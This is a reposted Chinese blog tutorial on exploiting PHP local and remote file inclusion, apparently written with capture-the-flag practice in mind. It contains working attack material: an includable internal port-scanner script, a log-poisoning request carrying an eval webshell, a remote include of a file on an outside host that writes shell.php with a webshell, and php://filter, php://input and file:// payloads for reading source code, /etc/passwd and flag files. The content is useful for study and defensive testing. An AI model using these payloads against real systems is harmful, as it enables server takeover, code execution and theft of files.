文件包含漏洞(RFI)

1文件包含漏洞简介

include  require  include_once   require_once

RFI综述

RFI是Remote File Inclusion的英文缩写,直译过来就是远程文件包含,文件包含的目的是:程序员编写程序时,经常会把需要重复使用的代码写入一个单独的文件中,当需要调用这些代码时,再在其他文件中包含调用代码的文件。

一下是一个扫描端口PHP,可以包含它来探测内网端口 

 

<?php
//echo "<script>alert('SCAN');</script>";
if(isset($_REQUEST['ip'])){
        $ports = array(80,8080,21,443,3306,22,1,2,1433);
        $result = array();
        foreach($ports as $port){
                if($pf = @fsockopen($_REQUEST['ip'], $port, $err, $err_string, 2)){
                        $result[$port] = true;
                        fclose($pf);
                }else{
                        $result[$port] = false;
                }
        }
        foreach($result as $port=>$val){
                $serv = @getservbyport($port, 'TCP');
                echo "scan port " . $port . " (" . $serv . "):";
                if($val){
                        //echo 'open'.'<br>';
                        echo "<span style=\"color:green\">open</span><br>";
                }else{
                        //echo 'close'.'<br>';
                        echo "<span style=\"color:red\">close</span><br>";
                }
        }
}
?>
扫描端口

 

 

 

 

1.本地文件包含漏洞

2.远程文件包含漏洞

条件:php.ini文件中的allow_url_include=On

http://test.com/?page=http://www.baidu.com/index.html

3.常见的敏感文件

 

1. 根目录下存在flag文件
 C://flag.txt
2. passwd文件存在flag
/etc/passwd
3. Web根目录下存在 flag文件
4. 当前页面下存在flag文件
5. apache/php/mysql配置文件下存在flag文件
利用phpinfo()函数来获取路径

 3重要的利用手法

(1)包含上传的getshell

                 上传图片马,利用文件包含我们的图片马,菜刀连接

(2)包含日志文件getshell

burpsuite里面访问
http://127.0.0.1/<?php eval($_POST[1]);?>
为了避免在web中进行了url编码,进行报错,把爆错信息写进日志
http://test.com/?page=../apache/logs/error.log
成功

(3)远程文件包含getshell

(4)远程文件包含写shell

包含hackxf.cn下面的get_shell.txt文件,内容

<?php
//fputs()
//fopen(filename, mode)

fputs(fopen('shell.php','w'),'<?php eval($_POST[1]);?>');

?>

访问当前目录下已经生成的shell.php文件

(5)PHP封装协议读取文件

1 php://filter/read=convert.base64-encode/resource=index.php
2 
3 http://test.com/?page=php://filter/read=convert.base64-encode/resource=index.php

(6)PHP封装协议命令执行

http://127.0.0.1/cmd.php?file=php://input

[POST DATA] <?php phpinfo()?>

(7)file封装协议读取文件

http://test.com/?page=file://c:/flag.txt

 

转载于:https://www.cnblogs.com/hackxf/p/8933169.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值